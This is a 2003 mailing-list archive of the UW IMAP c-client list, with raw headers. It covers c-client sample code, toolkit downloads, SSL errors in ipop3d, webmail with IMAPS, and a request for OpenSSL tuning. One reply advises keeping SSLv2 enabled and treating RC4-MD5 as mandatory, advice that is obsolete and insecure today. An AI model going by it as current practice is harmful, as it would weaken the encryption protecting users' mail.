Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R28cTk017729 for ; Wed, 26 Feb 2003 18:08:38 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R28Y2n026420 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 18:08:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1R27i0a028462; Wed, 26 Feb 2003 18:07:44 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R27OA8044850 for ; Wed, 26 Feb 2003 18:07:24 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R27Ja9013754 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 26 Feb 2003 18:07:19 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R27HFR030457; Wed, 26 Feb 2003 18:07:17 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R27HFl017632 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 26 Feb 2003 18:07:17 -0800 Message-Id: Date: Wed, 26 Feb 2003 18:07:18 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tin Dang Cc: c-client@u.washington.edu Subject: Re: Sample code for using c-client imap In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 27 Feb 2003, Tin Dang wrote: > I am new to Imap, and I am looking for sample code using c-client > library to open mail box and do searching of the email list ... > Is there such sample code for using c-client library ? That's precisely what the mtest program is. It's bundled as part of the IMAP toolkit. It's pretty minimal; use imapd and mailutil for examples of more advanced techniques. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 26 18:09:55 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 18:09:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R29tTk017764 for ; Wed, 26 Feb 2003 18:09:55 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R29p2n026445 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 18:09:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1R29ISR095788; Wed, 26 Feb 2003 18:09:18 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R290A8057778 for ; Wed, 26 Feb 2003 18:09:00 -0800 Received: from hotmail.com (f131.law10.hotmail.com [64.4.15.131]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R28xls002121 for ; Wed, 26 Feb 2003 18:08:59 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 26 Feb 2003 18:08:59 -0800 Received: from 24.125.36.125 by lw10fd.law10.hotmail.msn.com with HTTP; Thu, 27 Feb 2003 02:08:58 GMT Message-Id: Date: Thu, 27 Feb 2003 02:08:58 +0000 Reply-To: tindang@hotmail.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tin Dang" To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: Sample code for using c-client imap Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [24.125.36.125] X-OriginalArrivalTime: 27 Feb 2003 02:08:59.0050 (UTC) FILETIME=[308C50A0:01C2DE05] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XX, Probability=20%, Report="DEAR_SOMEBODY, QUOTED_EMAIL_TEXT, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_00_01, __EVITE_CTYPE, __RCVD_BY_HOTMAIL" Dear Mark, Where can I get the Imap toolkit ? Thanks, -------------- Tin Thanh Dang -------------- >From: Mark Crispin >To: Tin Dang >CC: c-client@u.washington.edu >Subject: Re: Sample code for using c-client imap >Date: Wed, 26 Feb 2003 18:07:18 -0800 (Pacific Standard Time) > >On Thu, 27 Feb 2003, Tin Dang wrote: > > I am new to Imap, and I am looking for sample code using c-client > > library to open mail box and do searching of the email list ... > > Is there such sample code for using c-client library ? > >That's precisely what the mtest program is. It's bundled as part of the >IMAP toolkit. It's pretty minimal; use imapd and mailutil for examples of >more advanced techniques. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. _________________________________________________________________ The new MSN 8: smart spam protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From pinedev@shivax2.cac.washington.edu Wed Feb 26 18:14:09 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 18:14:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R2E9Tk017850 for ; Wed, 26 Feb 2003 18:14:09 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R2E42n026562 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 18:14:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1R2DHhN021158; Wed, 26 Feb 2003 18:13:17 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R2CqA8042612 for ; Wed, 26 Feb 2003 18:12:52 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R2Coa9015048 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 26 Feb 2003 18:12:50 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R2Cmq6027748; Wed, 26 Feb 2003 18:12:48 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R2ClFl017807 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 26 Feb 2003 18:12:47 -0800 Message-Id: Date: Wed, 26 Feb 2003 18:12:48 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tin Dang Cc: c-client@u.washington.edu Subject: Re: Sample code for using c-client imap In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 27 Feb 2003, Tin Dang wrote: > Where can I get the Imap toolkit ? The current release version is always: ftp://ftp.cac.washington.edu/mail/imap.tar.Z The release version is imap-2002b. Also note that there is a snapshot of the imap-2003 development sources: ftp://ftp.cac.washington.edu/mail/imap-2003.DEV.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 26 21:56:10 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 21:56:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R5uATk022368 for ; Wed, 26 Feb 2003 21:56:10 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R5u72n031689 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 21:56:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1R5tHZD029708; Wed, 26 Feb 2003 21:55:17 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R5s4A8048946 for ; Wed, 26 Feb 2003 21:54:04 -0800 Received: from wyoming.e-tools.com (wyoming.e-tools.com [216.166.159.235]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R5s3Lr025488 for ; Wed, 26 Feb 2003 21:54:03 -0800 Received: from lurch.wyoming.e-tools.com (lurch.wyoming.e-tools.com [192.168.134.252]) by wyoming.e-tools.com (8.12.3/8.12.3) with ESMTP id h1R5s2ve020273 for ; Wed, 26 Feb 2003 22:54:02 -0700 (MST) Received: from [192.168.134.252] (lurch [192.168.134.252]) by lurch.wyoming.e-tools.com (8.12.5/8.12.5) with ESMTP id h1R5s0cm019408 for ; Wed, 26 Feb 2003 22:54:01 -0700 Message-Id: <1046325239.3418.9286.camel@lurch> Date: 26 Feb 2003 22:54:00 -0700 Reply-To: murf@e-tools.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Murphy To: c-client@u.washington.edu Subject: IPOP3d Not working with SSL (evolution) Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_02_03" X-Uwash-Spam: Gauge=III, Probability=3%, Report="NOSPAM_INC, SPAM_PHRASE_01_02, __HAS_X_MAILER" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello... I'm having a devil of a time getting the SSL stuff to work: Solaris 2.7 openssl-0.9.7a imap-2003.DEV.SNAP-0302102043 I get this message, logged to the console, every time a connection is attempted:
    Sent: Monday, June 09, 2003 = 8:42 AM
    Subject: More: NEWBIE: Looking = for=20 web-based, IMAPS compatible e-mail product

    Maybe I am=20 approaching this from the wrong perspective.  The webmail and = imap are on=20 the same system.  When I compile IMAP the default 'make' forces = it to be=20 secure with no clear text password capability.  If I am following = Erik=20 and Josko correctly, I may need to do one of the = following
        a) compile imap with certain options (I could use some help = with=20 knowing which) so that IMAP does not require secure communication from = the=20 webmail product
        b) use stunnel (which, again, I might need some help = understanding what=20 I need where)
     
    Thanks a=20 bunch.
     
    John = Pritchard
    Catalyst=20 Solutions
     
    -------------------------------
     
    Original=20 Post...
     
    I = recently=20 installed a RedHat Linux 7.2 system.  I have all the latest = updates=20 (up2date) and have loaded uw-imap.  I have been successful in = connecting=20 to the e-mail to get POP and IMAP working via SSL.  I would like = to=20 provide Web-Based e-mail access to the system.  I intended to use = SqirrelMail, but read in the notes that it does not work with = IMAPS. =20 Does anyone have another suggestion or has someone found how to get=20 SqirrelMail to work without enabling plain text = passwords?
     
    John = Pritchard
    Catalyst=20 Solutions
    ------=_NextPart_000_008E_01C32E64.395A4390-- From pinedev@shivax2.cac.washington.edu Mon Jun 9 09:51:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 Jun 2003 09:51:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h59Gpq4S006036 for ; Mon, 9 Jun 2003 09:51:52 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h59GpkTG027591 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 9 Jun 2003 09:51:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h59GnPlW025904; Mon, 9 Jun 2003 09:49:25 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h59GmD1M057904 for ; Mon, 9 Jun 2003 09:48:15 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxu4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h59Glw85016477 for ; Mon, 9 Jun 2003 09:48:10 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.11.6/8.11.6) with ESMTP id h59Glo516106; Mon, 9 Jun 2003 12:47:50 -0400 Message-Id: <3EE4BA30.2010605@samera.com.py> Date: Mon, 09 Jun 2003 12:47:44 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: John@YourNetExperts.com Cc: c-client@u.washington.edu Subject: Re: More: NEWBIE: Looking for web-based, IMAPS compatible e-mail product In-Reply-To: <001b01c32e9d$f013d2c0$de00010a@pcsco.com> References: <001b01c32e9d$f013d2c0$de00010a@pcsco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report="MANY_USER_AGENTS, QUOTED_EMAIL_TEXT, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE, __IN_REP_TO, __MANY_USER_AGENTS, __REFERENCES, __USER_AGENT, __USER_AGENT_MOZILLA_UA" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You have RH7.2 and imaps is already included in RH7.2 Just enabled it in xinetd or via ntsysv. No need to recompile wu-imap Oliver John Pritchard wrote: > Maybe I am approaching this from the wrong perspective. The webmail > and imap are on the same system. When I compile IMAP the default > 'make' forces it to be secure with no clear text password capability. > If I am following Erik and Josko correctly, I may need to do one of > the following > a) compile imap with certain options (I could use some help with > knowing which) so that IMAP does not require secure communication from > the webmail product > b) use stunnel (which, again, I might need some help understanding > what I need where) > > Thanks a bunch. > > John Pritchard > Catalyst Solutions > > ------------------------------- > > Original Post... > > I recently installed a RedHat Linux 7.2 system. I have all the latest > updates (up2date) and have loaded uw-imap. I have been successful in > connecting to the e-mail to get POP and IMAP working via SSL. I would > like to provide Web-Based e-mail access to the system. I intended to > use SqirrelMail, but read in the notes that it does not work with > IMAPS. Does anyone have another suggestion or has someone found how > to get SqirrelMail to work without enabling plain text passwords? > > John Pritchard > Catalyst Solutions -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Tue Jun 10 13:42:24 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Jun 2003 13:42:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5AKgN4S028049 for ; Tue, 10 Jun 2003 13:42:23 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5AKgKTG011664 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Jun 2003 13:42:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5AKeOEg037882; Tue, 10 Jun 2003 13:40:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5AKcL1M031082 for ; Tue, 10 Jun 2003 13:38:21 -0700 Received: from c000.snv.cp.net (h002.c000.snv.cp.net [209.228.32.66]) by mxu2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5AKcK6d019518 for ; Tue, 10 Jun 2003 13:38:20 -0700 Received: (cpmta 22093 invoked from network); 10 Jun 2003 13:38:19 -0700 Received: from 67.40.177.38 (HELO abackusdell2) by smtp.backus.com (209.228.32.66) with SMTP; 10 Jun 2003 13:38:19 -0700 Message-Id: <000c01c32f90$3b348680$0200000a@abackusdell2> Date: Tue, 10 Jun 2003 13:38:20 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Abraham Backus" To: Subject: more SSL support? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0009_01C32F55.8E765070" X-Sent: 10 Jun 2003 20:38:19 GMT X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XXXIIIIIII, Probability=37%, Report="PRIORITY_NO_NAME, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_00_01, SUPERLONG_LINE, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01, SUPERLONG_LINE, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_OUTLOOK_IN_MAILER, __HAS_X_MAILER, __HAS_X_PRIORITY, __USER_AGENT_OE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C32F55.8E765070 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, Has there been any consideration for adding functionality such as peer = verification and other customizations that can be passed to openssl? For instance, I'd like to be able to provide a file containing a set of = trusted certificate authorities and enable peer verification. (See = openssl docs for SSL_CTX_load_verify_locations and SSL_CTX_set_verify). = Also, I'd like to be able to control which SSL versions are used, = particularly enabling SSLv3 and TLSv1, while disabling SSLv2 (passing = SSL_OP_NO_SSLv2 to SSL_CTX_set_options). A couple of other options that = I'd like to control is SSL_CTX_set_cipher_list (disabling lower quality = ciphers, etc.) and the data passed to RAND_seed. After reading = Oreilly's "Network Security with OpenSSL" book a few months back, I've = gained a better warm fuzzy by using "stunnel" and similar products that = allow control of these options, but I'd like to take away as much of = these indirections as possible. If it's a matter of time or resources and you don't mind, I could spend = some time on it and contribute a patch, which I might work on anyway for = my own use :) thanks! -Abe ------=_NextPart_000_0009_01C32F55.8E765070 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hello,
     
    Has there been any consideration for = adding=20 functionality such as peer verification and other customizations that = can be=20 passed to openssl?
     
    For instance, I'd like to be able to = provide a file=20 containing a set of trusted certificate authorities and enable peer=20 verification.  (See openssl docs for SSL_CTX_load_verify_locations=20 and SSL_CTX_set_verify).  Also, I'd like to be able to control = which=20 SSL versions are used, particularly enabling SSLv3 and TLSv1, while = disabling=20 SSLv2 (passing SSL_OP_NO_SSLv2 to SSL_CTX_set_options).  A couple = of other=20 options that I'd like to control is SSL_CTX_set_cipher_list (disabling = lower=20 quality ciphers, etc.) and the data passed to RAND_seed.  After = reading=20 Oreilly's "Network Security with OpenSSL" book a few months back, I've = gained a=20 better warm fuzzy by using "stunnel" and similar products that allow = control of=20 these options, but I'd like to take away as much of these indirections = as=20 possible.
     
    If it's a matter of time or resources = and you don't=20 mind, I could spend some time on it and contribute a patch, which I = might work=20 on anyway for my own use :)
     
    thanks!
    -Abe
    ------=_NextPart_000_0009_01C32F55.8E765070-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 10 14:35:42 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Jun 2003 14:35:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ALZg4S030170 for ; Tue, 10 Jun 2003 14:35:42 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ALZbBI018865 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Jun 2003 14:35:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5ALXIlW020740; Tue, 10 Jun 2003 14:33:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ALWH1M040794 for ; Tue, 10 Jun 2003 14:32:17 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ALWEuY029966 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Jun 2003 14:32:15 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ALWC5R011465; Tue, 10 Jun 2003 14:32:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ALWCQ0001196 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Jun 2003 14:32:12 -0700 Message-Id: Date: Tue, 10 Jun 2003 14:32:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Abraham Backus Cc: c-client@u.washington.edu Subject: Re: more SSL support? In-Reply-To: <000c01c32f90$3b348680$0200000a@abackusdell2> References: <000c01c32f90$3b348680$0200000a@abackusdell2> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Jun 2003, Abraham Backus wrote: > For instance, I'd like to be able to provide a file containing a set of > trusted certificate authorities and enable peer verification. (See > openssl docs for SSL_CTX_load_verify_locations and SSL_CTX_set_verify). Why not just install any added CAs in /usr/local/ssl/certs? Isn't it better to have the CAs set up properly for all applications? Also, are you intending to add a SASL authenticator for EXTERNAL? If not, then what does peer verification buy you, given that there is already authentication in IMAP (in effect, you'll be authenticating twice)? Aren't you worried about not being able to access your mail from elsewhere? > Also, I'd like to be able to control which SSL versions are used, > particularly enabling SSLv3 and TLSv1, while disabling SSLv2 (passing > SSL_OP_NO_SSLv2 to SSL_CTX_set_options). Not a good idea, and likely to cause interoperability problems. On the SSL port (port 993 in IMAP), you need to use the SSLv23 method and not TLSv1. On TLS (STARTTLS command on the regular ports), you need to use TLSv1 and not the SSL methods. I hope I've talk you out of doing this. > A couple of other options that > I'd like to control is SSL_CTX_set_cipher_list (disabling lower quality > ciphers, etc.) This is alright, provided that you do NOT disable the TLS_RSA_WITH_RC4_128_MD5 [TLS] cipher suite (this is mandatory). You also should NOT disable the TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA [TLS] cipher suite. All other suites are optional. The only reason why I haven't disabled them is that cypher suites seem to go in and out of fashion on a regular enough basis that I'm leery in getting into the business of deciding what to use. If, for example, I had disabled all but TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (which was once the sole mandatory suite), all software builts using that source code would be broken today now that TLS_RSA_WITH_RC4_128_MD5 is the mandatory suite. Unless there is evidence of penetrations, it may well be more costly to get into that business than just leaving well (bad?) enough alone. It's reported that crypto cracking isn't even a blip on the radar screen in terms of systems being broken into. The big name cracks are in exploiting known bugs and human error. But, as long as you don't disable the mandatory suite (and the previous mandatory suite), this ought to be harmless. I have to prevaricate, because I've never tried it. > and the data passed to RAND_seed. What operating system are you using? If your system has /dev/urandom (e.g. most Linux systems), then RAND_seed() is not called (and is not necessary to call). I'll admit that the data supplied to RAND_seed() for systems that don't have /dev/urandom isn't NSA-quality, but I haven't heard of anyone being cracked because of it either. Nevertheless, this is harmless; so if you really want to do this don't let me talk you out of it. You might make things better. > After reading > Oreilly's "Network Security with OpenSSL" book a few months back, I've > gained a better warm fuzzy by using "stunnel" and similar products that > allow control of these options, but I'd like to take away as much of > these indirections as possible. An important part of any security measures is a good threat assessment. You won't score a net gain if, by being extreme on crypto, you create vulnerabilities in user behavior. >From a threat-assessment point of view, I have a difficult time in giving credibility to the notion that bad guys are going to attack the crypto, as opposed to much easier and less costly attacks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jun 10 15:31:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Jun 2003 15:31:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5AMVV4S032454 for ; Tue, 10 Jun 2003 15:31:31 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5AMVRBI020915 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Jun 2003 15:31:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5AMTflW017980; Tue, 10 Jun 2003 15:29:41 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5AMSf1M043892 for ; Tue, 10 Jun 2003 15:28:41 -0700 Received: from c000.snv.cp.net (h007.c000.snv.cp.net [209.228.32.71]) by mxu4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5AMSdvv009696 for ; Tue, 10 Jun 2003 15:28:40 -0700 Received: (cpmta 27861 invoked from network); 10 Jun 2003 15:28:39 -0700 Received: from 67.40.177.38 (HELO abackusdell2) by smtp.backus.com (209.228.32.71) with SMTP; 10 Jun 2003 15:28:39 -0700 Message-Id: <000001c32f9f$a37bf020$0200000a@abackusdell2> Date: Tue, 10 Jun 2003 15:09:16 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Abraham Backus" To: Subject: Re: more SSL support? References: <000c01c32f90$3b348680$0200000a@abackusdell2> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sent: 